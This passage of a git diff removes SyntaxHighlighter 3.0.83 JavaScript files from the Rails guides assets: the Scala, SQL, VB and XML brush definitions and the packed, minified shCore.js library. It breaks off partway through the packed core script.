- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Contributed by Yegor Jbanov and David Bernard.
-
- var keywords = 'val sealed case def true trait implicit forSome import match object null finally super ' +
- 'override try lazy for var catch throw type extends class while with new final yield abstract ' +
- 'else do if return protected private this package false';
-
- var keyops = '[_:=><%#@]+';
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
- { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
- { regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString, css: 'string' }, // multi-line strings
- { regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString, css: 'string' }, // double-quoted string
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
- { regex: /0x[a-f0-9]+|\d+(\.\d+)?/gi, css: 'value' }, // numbers
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords
- { regex: new RegExp(keyops, 'gm'), css: 'keyword' } // scala keyword
- ];
- }
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['scala'];
-
- SyntaxHighlighter.brushes.Scala = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js
deleted file mode 100644
index 5c2cd8806f..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js
+++ /dev/null
@@ -1,66 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- var funcs = 'abs avg case cast coalesce convert count current_timestamp ' +
- 'current_user day isnull left lower month nullif replace right ' +
- 'session_user space substring sum system_user upper user year';
-
- var keywords = 'absolute action add after alter as asc at authorization begin bigint ' +
- 'binary bit by cascade char character check checkpoint close collate ' +
- 'column commit committed connect connection constraint contains continue ' +
- 'create cube current current_date current_time cursor database date ' +
- 'deallocate dec decimal declare default delete desc distinct double drop ' +
- 'dynamic else end end-exec escape except exec execute false fetch first ' +
- 'float for force foreign forward free from full function global goto grant ' +
- 'group grouping having hour ignore index inner insensitive insert instead ' +
- 'int integer intersect into is isolation key last level load local max min ' +
- 'minute modify move name national nchar next no numeric of off on only ' +
- 'open option order out output partial password precision prepare primary ' +
- 'prior privileges procedure public read real references relative repeatable ' +
- 'restrict return returns revoke rollback rollup rows rule schema scroll ' +
- 'second section select sequence serializable set size smallint static ' +
- 'statistics table temp temporary then time timestamp to top transaction ' +
- 'translation trigger true truncate uncommitted union unique update values ' +
- 'varchar varying view when where with work';
-
- var operators = 'all and any between cross in join like not null or outer some';
-
- this.regexList = [
- { regex: /--(.*)$/gm, css: 'comments' }, // one line and multiline comments
- { regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString, css: 'string' }, // double quoted strings
- { regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString, css: 'string' }, // single quoted strings
- { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'color2' }, // functions
- { regex: new RegExp(this.getKeywords(operators), 'gmi'), css: 'color1' }, // operators and such
- { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' } // keyword
- ];
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['sql'];
-
- SyntaxHighlighter.brushes.Sql = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
-
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js
deleted file mode 100644
index be845dc0b3..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js
+++ /dev/null
@@ -1,56 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- var keywords = 'AddHandler AddressOf AndAlso Alias And Ansi As Assembly Auto ' +
- 'Boolean ByRef Byte ByVal Call Case Catch CBool CByte CChar CDate ' +
- 'CDec CDbl Char CInt Class CLng CObj Const CShort CSng CStr CType ' +
- 'Date Decimal Declare Default Delegate Dim DirectCast Do Double Each ' +
- 'Else ElseIf End Enum Erase Error Event Exit False Finally For Friend ' +
- 'Function Get GetType GoSub GoTo Handles If Implements Imports In ' +
- 'Inherits Integer Interface Is Let Lib Like Long Loop Me Mod Module ' +
- 'MustInherit MustOverride MyBase MyClass Namespace New Next Not Nothing ' +
- 'NotInheritable NotOverridable Object On Option Optional Or OrElse ' +
- 'Overloads Overridable Overrides ParamArray Preserve Private Property ' +
- 'Protected Public RaiseEvent ReadOnly ReDim REM RemoveHandler Resume ' +
- 'Return Select Set Shadows Shared Short Single Static Step Stop String ' +
- 'Structure Sub SyncLock Then Throw To True Try TypeOf Unicode Until ' +
- 'Variant When While With WithEvents WriteOnly Xor';
-
- this.regexList = [
- { regex: /'.*$/gm, css: 'comments' }, // one line comments
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
- { regex: /^\s*#.*$/gm, css: 'preprocessor' }, // preprocessor tags like #region and #endregion
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // vb keyword
- ];
-
- this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['vb', 'vbnet'];
-
- SyntaxHighlighter.brushes.Vb = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js
deleted file mode 100644
index 69d9fd0b1f..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js
+++ /dev/null
@@ -1,69 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- function process(match, regexInfo)
- {
- var constructor = SyntaxHighlighter.Match,
- code = match[0],
- tag = new XRegExp('(&lt;|<)[\\s\\/\\?]*(?<name>[:\\w-\\.]+)', 'xg').exec(code),
- result = []
- ;
-
- if (match.attributes != null)
- {
- var attributes,
- regex = new XRegExp('(?<name> [\\w:\\-\\.]+)' +
- '\\s*=\\s*' +
- '(?<value> ".*?"|\'.*?\'|\\w+)',
- 'xg');
-
- while ((attributes = regex.exec(code)) != null)
- {
- result.push(new constructor(attributes.name, match.index + attributes.index, 'color1'));
- result.push(new constructor(attributes.value, match.index + attributes.index + attributes[0].indexOf(attributes.value), 'string'));
- }
- }
-
- if (tag != null)
- result.push(
- new constructor(tag.name, match.index + tag[0].indexOf(tag.name), 'keyword')
- );
-
- return result;
- }
-
- this.regexList = [
- { regex: new XRegExp('(\\&lt;|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\&gt;|>)', 'gm'), css: 'color2' }, // <![ ... [ ... ]]>
- { regex: SyntaxHighlighter.regexLib.xmlComments, css: 'comments' }, // <!-- ... -->
- { regex: new XRegExp('(&lt;|<)[\\s\\/\\?]*(\\w+)(?<attributes>.*?)[\\s\\/\\?]*(&gt;|>)', 'sg'), func: process }
- ];
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['xml', 'xhtml', 'xslt', 'html'];
-
- SyntaxHighlighter.brushes.Xml = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shCore.js b/railties/guides/assets/javascripts/syntaxhighlighter/shCore.js
deleted file mode 100644
index b47b645472..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shCore.js
+++ /dev/null
@@ -1,17 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('K M;I(M)1S 2U("2a\'t 4k M 4K 2g 3l 4G 4H");(6(){6 r(f,e){I(!M.1R(f))1S 3m("3s 15 4R");K a=f.1w;f=M(f.1m,t(f)+(e||""));I(a)f.1w={1m:a.1m,19:a.19?a.19.1a(0):N};H f}6 t(f){H(f.1J?"g":"")+(f.4s?"i":"")+(f.4p?"m":"")+(f.4v?"x":"")+(f.3n?"y":"")}6 B(f,e,a,b){K c=u.L,d,h,g;v=R;5K{O(;c--;){g=u[c];I(a&g.3r&&(!g.2p||g.2p.W(b))){g.2q.12=e;I((h=g.2q.X(f))&&h.P===e){d={3k:g.2b.W(b,h,a),1C:h};1N}}}}5v(i){1S i}5q{v=11}H d}6 p(f,e,a){I(3b.Z.1i)H f.1i(e,a);O(a=a||0;a<f.L;a++)I(f[a]===e)H a;H-1}M=6(f,e){K a=[],b=M.1B,c=0,d,h;I(M.1R(f)){I(e!==1d)1S 3m("2a\'t 5r 5I 5F 5B 5C 15 5E 5p");H r(f)}I(v)1S 2U("2a\'t W 3l M 59 5m 5g 5x 5i");e=e||"";O(d={2N:11,19:[],2K:6(g){H e.1i(g)>-1},3d:6(g){e+=g}};c<f.L;)I(h=B(f,c,b,d)){a.U(h.3k);c+=h.1C[0].L||1}Y I(h=n.X.W(z[b],f.1a(c))){a.U(h[0]);c+=h[0].L}Y{h=f.3a(c);I(h==="[")b=M.2I;Y I(h==="]")b=M.1B;a.U(h);c++}a=15(a.1K(""),n.Q.W(e,w,""));a.1w={1m:f,19:d.2N?d.19:N};H a};M.3v="1.5.0";M.2I=1;M.1B=2;K C=/\\$(?:(\\d\\d?|[$&`\'])|{([$\\w]+)})/g,w=/[^5h]+|([\\s\\S])(?=[\\s\\S]*\\1)/g,A=/^(?:[?*+]|{\\d+(?:,\\d*)?})\\??/,v=11,u=[],n={X:15.Z.X,1A:15.Z.1A,1C:1r.Z.1C,Q:1r.Z.Q,1e:1r.Z.1e},x=n.X.W(/()??/,"")[1]===1d,D=6(){K f=/^/g;n.1A.W(f,"");H!f.12}(),y=6(){K f=/x/g;n.Q.W("x",f,"");H!f.12}(),E=15.Z.3n!==1d,z={};z[M.2I]=/^(?:\\\\(?:[0-3][0-7]{0,2}|[4-7][0-7]?|x[\\29-26-f]{2}|u[\\29-26-f]{4}|c[A-3o-z]|[\\s\\S]))/;z[M.1B]=/^(?:\\\\(?:0(?:[0-3][0-7]{0,2}|[4-7][0-7]?)?|[1-9]\\d*|x[\\29-26-f]{2}|u[\\29-26-f]{4}|c[A-3o-z]|[\\s\\S])|\\(\\?[:=!]|[?*+]\\?|{\\d+(?:,\\d*)?}\\??)/;M.1h=6(f,e,a,b){u.U({2q:r(f,"g"+(E?"y":"")),2b:e,3r:a||M.1B,2p:b||N})};M.2n=6(f,e){K a=f+"/"+(e||"");H M.2n[a]||(M.2n[a]=M(f,e))};M.3c=6(f){H r(f,"g")};M.5l=6(f){H f.Q(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g,"\\\\$&")};M.5e=6(f,e,a,b){e=r(e,"g"+(b&&E?"y":""));e.12=a=a||0;f=e.X(f);H b?f&&f.P===a?f:N:f};M.3q=6(){M.1h=6(){1S 2U("2a\'t 55 1h 54 3q")}};M.1R=6(f){H 53.Z.1q.W(f)==="[2m 15]"};M.3p=6(f,e,a,b){O(K c=r(e,"g"),d=-1,h;h=c.X(f);){a.W(b,h,++d,f,c);c.12===h.P&&c.12++}I(e.1J)e.12=0};M.57=6(f,e){H 6 a(b,c){K d=e[c].1I?e[c]:{1I:e[c]},h=r(d.1I,"g"),g=[],i;O(i=0;i<b.L;i++)M.3p(b[i],h,6(k){g.U(d.3j?k[d.3j]||"":k[0])});H c===e.L-1||!g.L?g:a(g,c+1)}([f],0)};15.Z.1p=6(f,e){H J.X(e[0])};15.Z.W=6(f,e){H J.X(e)};15.Z.X=6(f){K e=n.X.1p(J,14),a;I(e){I(!x&&e.L>1&&p(e,"")>-1){a=15(J.1m,n.Q.W(t(J),"g",""));n.Q.W(f.1a(e.P),a,6(){O(K c=1;c<14.L-2;c++)I(14[c]===1d)e[c]=1d})}I(J.1w&&J.1w.19)O(K b=1;b<e.L;b++)I(a=J.1w.19[b-1])e[a]=e[b];!D&&J.1J&&!e[0].L&&J.12>e.P&&J.12--}H e};I(!D)15.Z.1A=6(f){(f=n.X.W(J,f))&&J.1J&&!f[0].L&&J.12>f.P&&J.12--;H!!f};1r.Z.1C=6(f){M.1R(f)||(f=15(f));I(f.1J){K e=n.1C.1p(J,14);f.12=0;H e}H f.X(J)};1r.Z.Q=6(f,e){K a=M.1R(f),b,c;I(a&&1j e.58()==="3f"&&e.1i("${")===-1&&y)H n.Q.1p(J,14);I(a){I(f.1w)b=f.1w.19}Y f+="";I(1j e==="6")c=n.Q.W(J,f,6(){I(b){14[0]=1f 1r(14[0]);O(K d=0;d<b.L;d++)I(b[d])14[0][b[d]]=14[d+1]}I(a&&f.1J)f.12=14[14.L-2]+14[0].L;H e.1p(N,14)});Y{c=J+"";c=n.Q.W(c,f,6(){K d=14;H n.Q.W(e,C,6(h,g,i){I(g)5b(g){24"$":H"$";24"&":H d[0];24"`":H d[d.L-1].1a(0,d[d.L-2]);24"\'":H d[d.L-1].1a(d[d.L-2]+d[0].L);5a:i="";g=+g;I(!g)H h;O(;g>d.L-3;){i=1r.Z.1a.W(g,-1)+i;g=1Q.3i(g/10)}H(g?d[g]||"":"$")+i}Y{g=+i;I(g<=d.L-3)H d[g];g=b?p(b,i):-1;H g>-1?d[g+1]:h}})})}I(a&&f.1J)f.12=0;H c};1r.Z.1e=6(f,e){I(!M.1R(f))H n.1e.1p(J,14);K a=J+"",b=[],c=0,d,h;I(e===1d||+e<0)e=5D;Y{e=1Q.3i(+e);I(!e)H[]}O(f=M.3c(f);d=f.X(a);){I(f.12>c){b.U(a.1a(c,d.P));d.L>1&&d.P<a.L&&3b.Z.U.1p(b,d.1a(1));h=d[0].L;c=f.12;I(b.L>=e)1N}f.12===d.P&&f.12++}I(c===a.L){I(!n.1A.W(f,"")||h)b.U("")}Y b.U(a.1a(c));H b.L>e?b.1a(0,e):b};M.1h(/\\(\\?#[^)]*\\)/,6(f){H n.1A.W(A,f.2S.1a(f.P+f[0].L))?"":"(?:)"});M.1h(/\\((?!\\?)/,6(){J.19.U(N);H"("});M.1h(/\\(\\?<([$\\w]+)>/,6(f){J.19.U(f[1]);J.2N=R;H"("});M.1h(/\\\\k<([\\w$]+)>/,6(f){K e=p(J.19,f[1]);H e>-1?"\\\\"+(e+1)+(3R(f.2S.3a(f.P+f[0].L))?"":"(?:)"):f[0]});M.1h(/\\[\\^?]/,6(f){H f[0]==="[]"?"\\\\b\\\\B":"[\\\\s\\\\S]"});M.1h(/^\\(\\?([5A]+)\\)/,6(f){J.3d(f[1]);H""});M.1h(/(?:\\s+|#.*)+/,6(f){H n.1A.W(A,f.2S.1a(f.P+f[0].L))?"":"(?:)"},M.1B,6(){H J.2K("x")});M.1h(/\\./,6(){H"[\\\\s\\\\S]"},M.1B,6(){H J.2K("s")})})();1j 2e!="1d"&&(2e.M=M);K 1v=6(){6 r(a,b){a.1l.1i(b)!=-1||(a.1l+=" "+b)}6 t(a){H a.1i("3e")==0?a:"3e"+a}6 B(a){H e.1Y.2A[t(a)]}6 p(a,b,c){I(a==N)H N;K d=c!=R?a.3G:[a.2G],h={"#":"1c",".":"1l"}[b.1o(0,1)]||"3h",g,i;g=h!="3h"?b.1o(1):b.5u();I((a[h]||"").1i(g)!=-1)H a;O(a=0;d&&a<d.L&&i==N;a++)i=p(d[a],b,c);H i}6 C(a,b){K c={},d;O(d 2g a)c[d]=a[d];O(d 2g b)c[d]=b[d];H c}6 w(a,b,c,d){6 h(g){g=g||1P.5y;I(!g.1F){g.1F=g.52;g.3N=6(){J.5w=11}}c.W(d||1P,g)}a.3g?a.3g("4U"+b,h):a.4y(b,h,11)}6 A(a,b){K c=e.1Y.2j,d=N;I(c==N){c={};O(K h 2g e.1U){K g=e.1U[h];d=g.4x;I(d!=N){g.1V=h.4w();O(g=0;g<d.L;g++)c[d[g]]=h}}e.1Y.2j=c}d=e.1U[c[a]];d==N&&b!=11&&1P.1X(e.13.1x.1X+(e.13.1x.3E+a));H d}6 v(a,b){O(K c=a.1e("\\n"),d=0;d<c.L;d++)c[d]=b(c[d],d);H c.1K("\\n")}6 u(a,b){I(a==N||a.L==0||a=="\\n")H a;a=a.Q(/</g,"&1y;");a=a.Q(/ {2,}/g,6(c){O(K d="",h=0;h<c.L-1;h++)d+=e.13.1W;H d+" "});I(b!=N)a=v(a,6(c){I(c.L==0)H"";K d="";c=c.Q(/^(&2s;| )+/,6(h){d=h;H""});I(c.L==0)H d;H d+\'<17 1g="\'+b+\'">\'+c+"</17>"});H a}6 n(a,b){a.1e("\\n");O(K c="",d=0;d<50;d++)c+=" ";H a=v(a,6(h){I(h.1i("\\t")==-1)H h;O(K g=0;(g=h.1i("\\t"))!=-1;)h=h.1o(0,g)+c.1o(0,b-g%b)+h.1o(g+1,h.L);H h})}6 x(a){H a.Q(/^\\s+|\\s+$/g,"")}6 D(a,b){I(a.P<b.P)H-1;Y I(a.P>b.P)H 1;Y I(a.L<b.L)H-1;Y I(a.L>b.L)H 1;H 0}6 y(a,b){6 c(k){H k[0]}O(K d=N,h=[],g=b.2D?b.2D:c;(d=b.1I.X(a))!=N;){K i=g(d,b);I(1j i=="3f")i=[1f e.2L(i,d.P,b.23)];h=h.1O(i)}H h}6 E(a){K b=/(.*)((&1G;|&1y;).*)/;H a.Q(e.3A.3M,6(c){K d="",h=N;I(h=b.X(c)){c=h[1];d=h[2]}H\'<a 2h="\'+c+\'">\'+c+"</a>"+d})}6 z(){O(K a=1E.36("1k"),b=[],c=0;c<a.L;c++)a[c].3s=="20"&&b.U(a[c]);H b}6 f(a){a=a.1F;K b=p(a,".20",R);a=p(a,".3O",R);K c=1E.4i("3t");I(!(!a||!b||p(a,"3t"))){B(b.1c);r(b,"1m");O(K d=a.3G,h=[],g=0;g<d.L;g++)h.U(d[g].4z||d[g].4A);h=h.1K("\\r");c.39(1E.4D(h));a.39(c);c.2C();c.4C();w(c,"4u",6(){c.2G.4E(c);b.1l=b.1l.Q("1m","")})}}I(1j 3F!="1d"&&1j M=="1d")M=3F("M").M;K e={2v:{"1g-27":"","2i-1s":1,"2z-1s-2t":11,1M:N,1t:N,"42-45":R,"43-22":4,1u:R,16:R,"3V-17":R,2l:11,"41-40":R,2k:11,"1z-1k":11},13:{1W:"&2s;",2M:R,46:11,44:11,34:"4n",1x:{21:"4o 1m",2P:"?",1X:"1v\\n\\n",3E:"4r\'t 4t 1D O: ",4g:"4m 4B\'t 51 O 1z-1k 4F: ",37:\'<!4T 1z 4S "-//4V//3H 4W 1.0 4Z//4Y" "1Z://2y.3L.3K/4X/3I/3H/3I-4P.4J"><1z 4I="1Z://2y.3L.3K/4L/5L"><3J><4N 1Z-4M="5G-5M" 6K="2O/1z; 6J=6I-8" /><1t>6L 1v</1t></3J><3B 1L="25-6M:6Q,6P,6O,6N-6F;6y-2f:#6x;2f:#6w;25-22:6v;2O-3D:3C;"><T 1L="2O-3D:3C;3w-32:1.6z;"><T 1L="25-22:6A-6E;">1v</T><T 1L="25-22:.6C;3w-6B:6R;"><T>3v 3.0.76 (72 73 3x)</T><T><a 2h="1Z://3u.2w/1v" 1F="38" 1L="2f:#3y">1Z://3u.2w/1v</a></T><T>70 17 6U 71.</T><T>6T 6X-3x 6Y 6D.</T></T><T>6t 61 60 J 1k, 5Z <a 2h="6u://2y.62.2w/63-66/65?64=5X-5W&5P=5O" 1L="2f:#3y">5R</a> 5V <2R/>5U 5T 5S!</T></T></3B></1z>\'}},1Y:{2j:N,2A:{}},1U:{},3A:{6n:/\\/\\*[\\s\\S]*?\\*\\//2c,6m:/\\/\\/.*$/2c,6l:/#.*$/2c,6k:/"([^\\\\"\\n]|\\\\.)*"/g,6o:/\'([^\\\\\'\\n]|\\\\.)*\'/g,6p:1f M(\'"([^\\\\\\\\"]|\\\\\\\\.)*"\',"3z"),6s:1f M("\'([^\\\\\\\\\']|\\\\\\\\.)*\'","3z"),6q:/(&1y;|<)!--[\\s\\S]*?--(&1G;|>)/2c,3M:/\\w+:\\/\\/[\\w-.\\/?%&=:@;]*/g,6a:{18:/(&1y;|<)\\?=?/g,1b:/\\?(&1G;|>)/g},69:{18:/(&1y;|<)%=?/g,1b:/%(&1G;|>)/g},6d:{18:/(&1y;|<)\\s*1k.*?(&1G;|>)/2T,1b:/(&1y;|<)\\/\\s*1k\\s*(&1G;|>)/2T}},16:{1H:6(a){6 b(i,k){H e.16.2o(i,k,e.13.1x[k])}O(K c=\'<T 1g="16">\',d=e.16.2x,h=d.2X,g=0;g<h.L;g++)c+=(d[h[g]].1H||b)(a,h[g]);c+="</T>";H c},2o:6(a,b,c){H\'<2W><a 2h="#" 1g="6e 6h\'+b+" "+b+\'">\'+c+"</a></2W>"},2b:6(a){K b=a.1F,c=b.1l||"";b=B(p(b,".20",R).1c);K d=6(h){H(h=15(h+"6f(\\\\w+)").X(c))?h[1]:N}("6g");b&&d&&e.16.2x[d].2B(b);a.3N()},2x:{2X:["21","2P"],21:{1H:6(a){I(a.V("2l")!=R)H"";K b=a.V("1t");H e.16.2o(a,"21",b?b:e.13.1x.21)},2B:6(a){a=1E.6j(t(a.1c));a.1l=a.1l.Q("47","")}},2P:{2B:6(){K a="68=0";a+=", 18="+(31.30-33)/2+", 32="+(31.2Z-2Y)/2+", 30=33, 2Z=2Y";a=a.Q(/^,/,"");a=1P.6Z("","38",a);a.2C();K b=a.1E;b.6W(e.13.1x.37);b.6V();a.2C()}}}},35:6(a,b){K c;I(b)c=[b];Y{c=1E.36(e.13.34);O(K d=[],h=0;h<c.L;h++)d.U(c[h]);c=d}c=c;d=[];I(e.13.2M)c=c.1O(z());I(c.L===0)H d;O(h=0;h<c.L;h++){O(K g=c[h],i=a,k=c[h].1l,j=3W 0,l={},m=1f M("^\\\\[(?<2V>(.*?))\\\\]$"),s=1f M("(?<27>[\\\\w-]+)\\\\s*:\\\\s*(?<1T>[\\\\w-%#]+|\\\\[.*?\\\\]|\\".*?\\"|\'.*?\')\\\\s*;?","g");(j=s.X(k))!=N;){K o=j.1T.Q(/^[\'"]|[\'"]$/g,"");I(o!=N&&m.1A(o)){o=m.X(o);o=o.2V.L>0?o.2V.1e(/\\s*,\\s*/):[]}l[j.27]=o}g={1F:g,1n:C(i,l)};g.1n.1D!=N&&d.U(g)}H d},1M:6(a,b){K c=J.35(a,b),d=N,h=e.13;I(c.L!==0)O(K g=0;g<c.L;g++){b=c[g];K i=b.1F,k=b.1n,j=k.1D,l;I(j!=N){I(k["1z-1k"]=="R"||e.2v["1z-1k"]==R){d=1f e.4l(j);j="4O"}Y I(d=A(j))d=1f d;Y 6H;l=i.3X;I(h.2M){l=l;K m=x(l),s=11;I(m.1i("<![6G[")==0){m=m.4h(9);s=R}K o=m.L;I(m.1i("]]\\>")==o-3){m=m.4h(0,o-3);s=R}l=s?m:l}I((i.1t||"")!="")k.1t=i.1t;k.1D=j;d.2Q(k);b=d.2F(l);I((i.1c||"")!="")b.1c=i.1c;i.2G.74(b,i)}}},2E:6(a){w(1P,"4k",6(){e.1M(a)})}};e.2E=e.2E;e.1M=e.1M;e.2L=6(a,b,c){J.1T=a;J.P=b;J.L=a.L;J.23=c;J.1V=N};e.2L.Z.1q=6(){H J.1T};e.4l=6(a){6 b(j,l){O(K m=0;m<j.L;m++)j[m].P+=l}K c=A(a),d,h=1f e.1U.5Y,g=J,i="2F 1H 2Q".1e(" ");I(c!=N){d=1f c;O(K k=0;k<i.L;k++)(6(){K j=i[k];g[j]=6(){H h[j].1p(h,14)}})();d.28==N?1P.1X(e.13.1x.1X+(e.13.1x.4g+a)):h.2J.U({1I:d.28.17,2D:6(j){O(K l=j.17,m=[],s=d.2J,o=j.P+j.18.L,F=d.28,q,G=0;G<s.L;G++){q=y(l,s[G]);b(q,o);m=m.1O(q)}I(F.18!=N&&j.18!=N){q=y(j.18,F.18);b(q,j.P);m=m.1O(q)}I(F.1b!=N&&j.1b!=N){q=y(j.1b,F.1b);b(q,j.P+j[0].5Q(j.1b));m=m.1O(q)}O(j=0;j<m.L;j++)m[j].1V=c.1V;H m}})}};e.4j=6(){};e.4j.Z={V:6(a,b){K c=J.1n[a];c=c==N?b:c;K d={"R":R,"11":11}[c];H d==N?c:d},3Y:6(a){H 1E.4i(a)},4c:6(a,b){K c=[];I(a!=N)O(K d=0;d<a.L;d++)I(1j a[d]=="2m")c=c.1O(y(b,a[d]));H J.4e(c.6b(D))},4e:6(a){O(K b=0;b<a.L;b++)I(a[b]!==N)O(K c=a[b],d=c.P+c.L,h=b+1;h<a.L&&a[b]!==N;h++){K g=a[h];I(g!==N)I(g.P>d)1N;Y I(g.P==c.P&&g.L>c.L)a[b]=N;Y I(g.P>=c.P&&g.P<d)a[h]=N}H a},4d:6(a){K b=[],c=2u(J.V("2i-1s"));v(a,6(d,h){b.U(h+c)});H b},3U:6(a){K b=J.V("1M",[]);I(1j b!="2m"&&b.U==N)b=[b];a:{a=a.1q();K c=3W 0;O(c=c=1Q.6c(c||0,0);c<b.L;c++)I(b[c]==a){b=c;1N a}b=-1}H b!=-1},2r:6(a,b,c){a=["1s","6i"+b,"P"+a,"6r"+(b%2==0?1:2).1q()];J.3U(b)&&a.U("67");b==0&&a.U("1N");H\'<T 1g="\'+a.1K(" ")+\'">\'+c+"</T>"},3Q:6(a,b){K c="",d=a.1e("\\n").L,h=2u(J.V("2i-1s")),g=J.V("2z-1s-2t");I(g==R)g=(h+d-1).1q().L;Y I(3R(g)==R)g=0;O(K i=0;i<d;i++){K k=b?b[i]:h+i,j;I(k==0)j=e.13.1W;Y{j=g;O(K l=k.1q();l.L<j;)l="0"+l;j=l}a=j;c+=J.2r(i,k,a)}H c},49:6(a,b){a=x(a);K c=a.1e("\\n");J.V("2z-1s-2t");K d=2u(J.V("2i-1s"));a="";O(K h=J.V("1D"),g=0;g<c.L;g++){K i=c[g],k=/^(&2s;|\\s)+/.X(i),j=N,l=b?b[g]:d+g;I(k!=N){j=k[0].1q();i=i.1o(j.L);j=j.Q(" ",e.13.1W)}i=x(i);I(i.L==0)i=e.13.1W;a+=J.2r(g,l,(j!=N?\'<17 1g="\'+h+\' 5N">\'+j+"</17>":"")+i)}H a},4f:6(a){H a?"<4a>"+a+"</4a>":""},4b:6(a,b){6 c(l){H(l=l?l.1V||g:g)?l+" ":""}O(K d=0,h="",g=J.V("1D",""),i=0;i<b.L;i++){K k=b[i],j;I(!(k===N||k.L===0)){j=c(k);h+=u(a.1o(d,k.P-d),j+"48")+u(k.1T,j+k.23);d=k.P+k.L+(k.75||0)}}h+=u(a.1o(d),c()+"48");H h},1H:6(a){K b="",c=["20"],d;I(J.V("2k")==R)J.1n.16=J.1n.1u=11;1l="20";J.V("2l")==R&&c.U("47");I((1u=J.V("1u"))==11)c.U("6S");c.U(J.V("1g-27"));c.U(J.V("1D"));a=a.Q(/^[ ]*[\\n]+|[\\n]*[ ]*$/g,"").Q(/\\r/g," 